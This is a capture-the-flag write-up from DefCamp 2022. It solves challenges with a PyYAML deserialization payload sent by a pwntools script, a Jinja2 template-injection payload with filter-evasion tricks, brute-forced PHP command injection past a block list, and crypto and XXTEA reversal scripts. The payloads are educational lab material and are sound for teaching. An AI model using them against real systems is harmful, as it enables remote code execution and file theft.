Here are a few writeups from the tasks we solved at DefCamp Capture the Flag 2022.

raw-proto

Challenge description:

This challenge leaves me a salty, sour taste.

No files are provided. The challenge greets us with:

/home/ctf/server.py:15: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.
GET / HTTP/1.1

YAML or more specifically PyYAML comes with python support (Documentation: https://pyyaml.org/wiki/PyYAMLDocumentation)

This should make it easy to do anything we want on the system, but trying a basic payload:

!!python/object/apply:subprocess.Popen
- ls

Gives us:

Try Harder! I bet you can.. lol.

We had to work our way around the filters. For the sake of a short and complete write-up, we show the actual code, that we obtained with our final exploit after getting the flag.

import sys,yaml
import os
del os
sys.modules['os']=None
x = ''.join(sys.stdin.readline())
if 'open' in x:
    print("Try Harder! I bet you can.. lol.")
    sys.exit(0)
if
'\\x' in x:
    print("Try Harder! Hex in python? Is that all you can think off?")
    sys.exit(0)
if 'base64' in x:
    print("Try Harder! base64 in python? Is that all you can think off?")
    sys.exit(0)
print(yaml.load(x))

Our working exploit, again without having the source code, looks like this:

from pwn import *

payload = """
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ "__import__('_io').FileIO('flag.txt', 'r').read()" ]]]
"""
payload = payload.lstrip()
print(payload)

# conn = remote('34.159.3.158', 32062)
conn = remote('34.159.7.96', 30380)
conn.send(payload.encode('utf-8'))
print(conn.recvall(timeout=2))

The important part, is directly accessing _io.FileIO imported with the __import__ builtin, instead of using open. And we get the flag:

b"/home/ctf/server.py:15: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecate
d, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.\
r\n(b'CTF{b4b7ad802bf06191e9d68127e718d375933ed30d26c72d71b26b5f437ca726d8}\\n',)\r\n"

para-code

Challenge description:

I do not think that this API needs any sort of security testing as it only executes and retrieves the output of ID and PS commands.

No files are provided. But the challenge website, prints out its own source.

<?php
require __DIR__ . '/flag.php';
if (!isset($_GET['start'])){
    show_source(__FILE__);
    exit;
} 

$blackList = array(
  'ss','sc','aa','od','pr','pw','pf','ps','pa','pd','pp','po','pc','pz','pq','pt','pu','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','ls','dd','nl','nk','df','wc', 'du'
);

$valid = true;
foreach($blackList as $blackItem)
{
    if(strpos($_GET['start'], $blackItem) !== false)
    {
         $valid = false;
         break;
    }
}

if(!$valid)
{
  show_source(__FILE__);
  exit;
}

// This will return output only for id and ps. 
if (strlen($_GET['start']) < 5){
  echo shell_exec($_GET['start']);
} else {
  echo "Please enter a valid command";
}

if (False) {
  echo $flag;
}

?>

In the printed source code, we notice a couple of things:

  • We can provide a shell command via the start parameter, and it will be executed.
  • The command must not occur (literary) in the list of forbidden commands.
  • It must be shorter than 5 characters.

Also, we know from the require, that flag.php is located in the same directory.

So we obtain a list of two letter commands on our own system:

ls ${PATH//:/ } | awk '{ print length(), $0 | "sort -n" }' | grep "^2 " | cut -d" " -f2

Very bash, very good!

We remove the forbidden commands, and instead of overthinking it, we try if one of the few remaining commands prints the flag with wildcard expansion.

import requests
import time

with open('./mycommands.txt', 'r') as f:
    commands = set(f.read().splitlines())

forbidden = {'ss','sc','aa','od','pr','pw','pf','ps','pa','pd','pp','po','pc','pz','pq','pt','pu','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','ls','dd','nl','nk','df','wc', 'du'}

commands.difference_update(forbidden)

for command in commands:
    res = requests.get('http://34.159.7.96:32210/?start=' + command + '+*').content
    if b'flag' in res:
        print(res.decode('utf-8'))
    time.sleep(0.2)

And indeed we are lucky and get the flag:

<?php

$flag = "791b21ee6421993a8e25564227a816ee52e48edb437909cba7e1e80c0579b6be";

?><?php /*...*/ ?>

algorithm

Challenge description:

Hello friends. Just a regular algorithm

We are given two files: chal.py and flag_enc.txt

flag = ' [test]'
hflag = flag.encode('hex')
iflag = int(hflag[2:], 16)

def polinom(n, m):
   i = 0
   z = []
   s = 0
   while n > 0:
   	if n % 2 != 0:
   		z.append(2 - (n % 4))
   	else:
   		z.append(0)
   	n = (n - z[i])/2
   	i = i + 1
   z = z[::-1]
   l = len(z)
   for i in range(0, l):
       s += z[i] * m ** (l - 1 - i)
   return s

i = 0
r = ''
while i < len(str(iflag)):
   d = str(iflag)[i:i+2]
   nf = polinom(int(d), 3)
   r += str(nf)
   i += 2

print r
242712673639869973827786401934639193473972235217215301

We can reverse the algorithm and are left with recursively trying different polynomials

import itertools
import string

def polinom(n, m):
    i = 0
    z = []
    s = 0
    while n > 0:
        if n % 2 != 0:
            z.append(2 - (n % 4))
        else:
            z.append(0)
        n = (n - z[i]) // 2
        i = i + 1
    z = z[::-1]
    l = len(z)
    for i in range(0, l):
        s += z[i] * m ** (l - 1 - i)
    return s

def get_enc_flag(flag):
    hflag = flag.encode("utf-8").hex()
    iflag = int(hflag, 16)
    print(f"real {iflag=}")
    i = 0
    r = ''
    ps = []
    while i < len(str(iflag)):
        d = str(iflag)[i:i + 2]
        nf = polinom(int(d), 3)
        ps.append(nf)
        r += str(nf)
        i += 2

    print(f"real {ps=}")
    return r

polinoms = []
for n in range(100):
    nf = polinom(n, 3)
    polinoms.append(nf)

results = []

def recursive(flag, r_indices, r_polinoms):
    global results

    if flag == '':
        tmp_indices = r_indices[::-1]
        indices = []
        for i, index in enumerate(tmp_indices):
            if i != (len(tmp_indices) - 1):
                indices.append(str(index).zfill(2))
            else:
                indices.append(str(index))

        iflag = ''.join(indices)
        hflag = int(iflag)

        hflag = hex(hflag)[2:]
        try:
            flag = bytearray.fromhex(hflag).decode()
            print(f"---> FLAG FOUND {flag}")
            results.append(flag)
        except Exception as e:
            pass
        return None

    # iterate over all polinoms, if anyone matches, remove from flagand get poinoms
    for i, polinom in enumerate(polinoms):
        if len(str(polinom)) <= len(flag) and flag.endswith(str(polinom)):
            f = recursive(flag[:-(len(str(polinom)))], r_indices + [i], r_polinoms + [polinom])
            if f is not None:
                return f

def test_approach():
    global results

    def generate_strings(length=3):
        chars = string.ascii_letters + string.digits
        for item in itertools.product(chars, repeat=length):
            yield str("".join(item))

    s_counter = 0
    f_counter = 0
    for example in generate_strings(2):
        results = []
        print(f"{example=}")
        enc = get_enc_flag(example)
        cracked = recursive(enc, [], [])
        if example in results:
            s_counter += 1
            print("SUCCESS")
        else:
            f_counter += 1
            print("FAILED")
        print(f"{example=} in {results=}")
        print(f"{s_counter=} {f_counter=}")
        print("-------------")

test_approach()

print("attack!")
enc_flag = "242712673639869973827786401934639193473972235217215301"
recursive(enc_flag, [], [])
attack!
---> FLAG FOUND [ola_th1s_1s_p0l]

wafer

Challenge description:

This challenge leaves me a salty, sour taste.

No files are provided. The challenge greets us with:

Traceback (most recent call last):
  File "/home/ctf/server.py", line 8, in <module>
    print(Template("+inputval+").render())
  File "/usr/local/lib/python3.9/dist-packages/jinja2/environment.py", line 1291, in render
    self.environment.handle_exception()
  File "/usr/local/lib/python3.9/dist-packages/jinja2/environment.py", line 925, in handle_exception
    raise rewrite_traceback_stack(source=source)
  File "<template>", line 1, in top-level template code
jinja2.exceptions.UndefinedError: 'GET' is undefined

So it is clear, that this is a Sever Site Template Injection (SSTI) challenge. Sending 2+2 reflects us 4. First, we try to send self.__dict__ to find out what we have to work with. Doing this, we notice that self and underscore are blocked inputs. But, there is an easy way to work around that: seselflf as input allows us to write self, because the removal is only done once. The underscore can be hex-encoded and is therefore not filtered. Starting from self, we can get the base class, which is object: self.__class__.__base__. From there we go down in the inheritance tree to go to FileIO and use this to leak the flag file:

seselflf['\\x5f\\x5fclass\\x5f\\x5f']['\\x5f\\x5fbase\\x5f\\x5f']['\\x5f\\x5fsubclasses\\x5f\\x5f']()[101]['\\x5f\\x5fsubclasses\\x5f\\x5f']()[0]['\\x5f\\x5fsubclasses\\x5f\\x5f']()[0]('flag.txt').read()

After that, we also leaked the source code and notice that we could have done things simpler, but that is always the thing with black box challenges.

import subprocess
from jinja2 import Template
blacklist = ["config", "self", "_", '"']
inputval = input()
for x in blacklist:
    if x in blacklist:
        inputval = inputval.replace(x, "")
print(Template("+inputval+").render())

cup-of-tea

Challenge description:

For my friend a cup of Tea and a wonderful message: D0A4AE4DCC99E368BABD66996D67B88159ABE2D022B0AD78F1D69A6EB1E81CF3589B3EFE994005D6A9DE9DB2FD3C44B77628D2316AAC2229E938EC932BE42220DD6D1D914655820A43C09E2236993A8D

We are given an ELF binary.

$ file cup-of-tea
cup-of-tea: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=63405b3e8e223d1630886a4ab0eb09bea5650c80, not stripped
$ ./cup-of-tea 
We are under attack.
We need a group of hacker to decrypt this weird message.
And Betaflash is not slow :)).
Decrypt me if you can: C7E4C81E20EBFB67A4977BA91C9C312FFF81669CA85798D475F0D9081DF7017CC8D009ADF02F67DD41D1F781EF561D0EF8EA2225502AF957D6844084CEE3BB7D2350DBF05DCD8B0AD33CD52C5E0171E4

Opening it in Ghidra and renaming/ retyping:

/* WARNING: Could not reconcile some variable overlaps */

void main(void)

{
  size_t sVar1;
  long j;
  undefined8 *ptr;
  long in_FS_OFFSET;
  int i;
  size_t key [16];
  char msg [4096];
  char hex [4104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  key[0] = L'I';
  key[1] = L' ';
  key[2] = L'l';
  key[3] = L'o';
  key[4] = L'v';
  key[5] = L'e';
  key[6] = L' ';
  key[7] = L'p';
  key[8] = L'a';
  key[9] = L'n';
  key[10] = L'c';
  key[11] = L'a';
  key[12] = L'k';
  key[13] = L'e';
  key[14] = L's';
  msg._0_8_ = 0x73616c6661746542;
  msg._8_8_ = 0x6f6c735f73695f68;
  msg._16_8_ = 0x77;
  msg._24_8_ = 0;
  ptr = (undefined8 *)(msg + 0x20);
  for (j = 0x1fc; j != 0; j = j + -1) {
    *ptr = 0;
    ptr = ptr + 1;
  }
  puts("We are under attack.");
  puts("We need a group of hacker to decrypt this weird message.");
  puts("And Betaflash is not slow :)).");
  encrypt(msg,10,(long *)key);
  sVar1 = strlen(msg);
  for (i = 0; i < (int)sVar1; i = i + 1) {
    sprintf(hex + i * 2,"%02X",(ulong)(byte)msg[i]);
  }
  hex[i * 2] = '\0';
  printf("Decrypt me if you can: %s\n",hex);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

We see the string “Betaflash_is_slow” is encrypted with the key “I love pancakes”.

Let’s have a look at the encrypt function:

undefined8 encrypt(ulong *msg,long bs,long *key)

{
  uint k;
  undefined8 uVar1;
  ulong before;
  ulong random;
  ulong i;
  long reps;
  ulong next;
  
  before = msg[bs + -1];
  random = 0;
  uVar1 = 0x9e3779b9;
  if (1 < bs) {
    reps = SUB168((SEXT816(0x34) & (undefined  [16])0xffffffffffffffff | ZEXT816(0x34)) /
                  SEXT816(bs),0) + 6;
    while (0 < reps) {
      random = random + 0x9e3779b9;
      k = (uint)(random >> 2) & 3;
      for (i = 0; (long)i < bs + -1; i = i + 1) {
        next = msg[i + 1];
        msg[i] = msg[i] + ((key[(uint)i & 3 ^ k] ^ before) + (random ^ next) ^
                          (before >> 5 ^ next << 2) + (before << 4 ^ next >> 3));
        before = msg[i];
      }
      next = *msg;
      msg[bs + -1] = msg[bs + -1] +
                     ((key[(uint)i & 3 ^ k] ^ before) + (random ^ next) ^
                     (before >> 5 ^ next << 2) + (before << 4 ^ next >> 3));
      before = msg[bs + -1];
      reps = reps + -1;
    }
    uVar1 = 0;
  }
  return uVar1;
}

Looking up the encryption by its constants, we find out that it is the XXTEA algorithm (https://en.wikipedia.org/wiki/XXTEA)

Here is our decrypt implementation in python

import struct

def encrypt(msg, bs, key):
    before = msg[bs-1]
    reps = (0x34 // bs) + 6
    rand = 0
    for r in range(reps):
        rand = (rand + 0x9e3779b9) & 0xffffffffffffffff
        # print(rand)
        k = (rand >> 2) & 3
        for i in range(bs-1):
            next = msg[i+1]
            print(hex(msg[i]))
            msg[i] += ((key[i & 3 ^ k] ^ before) + (rand ^ next) ^ (before >> 5 ^ next << 2) + (before << 4 ^ next >> 3))
            msg[i] &= 0xffffffffffffffff
            before = msg[i]
            print(hex(before))
            print(i)
        next = msg[0]
        i = bs-1
        # print(hex(((key[i & 3 ^ k] ^ before) + (rand ^ next) ^ (before >> 5 ^ next << 2) + (before << 4 ^ next >> 3))))
        print(hex(msg[i]))
        msg[i] += ((key[i & 3 ^ k] ^ before) + (rand ^ next) ^ (before >> 5 ^ next << 2) + (before << 4 ^ next >> 3))
        msg[i] &= 0xffffffffffffffff
        before = msg[i]
        print(hex(before))
        print(i)
    return msg

def decrypt(msg, bs, key):
    reps = (0x34 // bs) + 6
    rand = 0
    for r in range(reps)[::-1]:
        rand = ((r+1)*0x9e3779b9) & 0xffffffffffffffff
        # print(rand)
        k = (rand >> 2) & 3
        before = msg[bs-2]
        i = bs-1
        next = msg[0]
        print(i)
        print(hex(msg[i]))
        # print(hex(before))
        # print(hex(((key[i & 3 ^ k] ^ before) + (rand ^ next) ^ (before >> 5 ^ next << 2) + (before << 4 ^ next >> 3))))
        msg[i] -= ((key[i & 3 ^ k] ^ before) + (rand ^ next) ^ (before >> 5 ^ next << 2) + (before << 4 ^ next >> 3))
        msg[i] &= 0xffffffffffffffff
        before = msg[i]
        print(hex(before))
        for i in range(bs-2, 0, -1):
            before = msg[i-1]
            next = msg[i+1]
            print(i)
            print(hex(msg[i]))
            msg[i] -= ((key[i & 3 ^ k] ^ before) + (rand ^ next) ^ (before >> 5 ^ next << 2) + (before << 4 ^ next >> 3))
            msg[i] &= 0xffffffffffffffff
            before = msg[i]
            print(hex(before))
        before = msg[bs-1]
        i = 0
        next = msg[1]
        print(i)
        print(hex(msg[i]))
        # print(hex(before))
        # print(hex(((key[i & 3 ^ k] ^ before) + (rand ^ next) ^ (before >> 5 ^ next << 2) + (before << 4 ^ next >> 3))))
        msg[i] -= ((key[i & 3 ^ k] ^ before) + (rand ^ next) ^ (before >> 5 ^ next << 2) + (before << 4 ^ next >> 3))
        msg[i] &= 0xffffffffffffffff
        before = msg[i]
        print(hex(before))
    return msg

msg = [0x73616c6661746542, 0x6f6c735f73695f68, 0x77, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
key = [0x49, 0x20, 0x6c, 0x6f, 0x76, 0x65, 0x20, 0x70, 0x61, 0x6e, 99, 0x61, 0x6b, 0x65, 0x73, 0]

enc = encrypt(msg, 10, key)

for x in enc:
    x = x.to_bytes(8,'little')
    print(f'{x.hex()}',end='')
print()

dec = decrypt(enc, 10, key)
str = b''
for x in dec:
    str += x.to_bytes(8, 'little')
print(str)

enc = 'D0A4AE4DCC99E368BABD66996D67B88159ABE2D022B0AD78F1D69A6EB1E81CF3589B3EFE994005D6A9DE9DB2FD3C44B77628D2316AAC2229E938EC932BE42220DD6D1D914655820A43C09E2236993A8D'
enc = bytes.fromhex(enc)

e = []
for i in struct.iter_unpack('<Q', enc):
    e.append(i[0])
    print(hex(i[0]))

dec = decrypt(e, 10, key)
str = b''
for x in dec:
    str += x.to_bytes(8, 'little')
print(str)

The encrypted message from the description is “R3vErs3_1S_NoT_F0r_Ev3RYOn3”. The sha256 wrapped in the CTF{…} flag format is the final flag.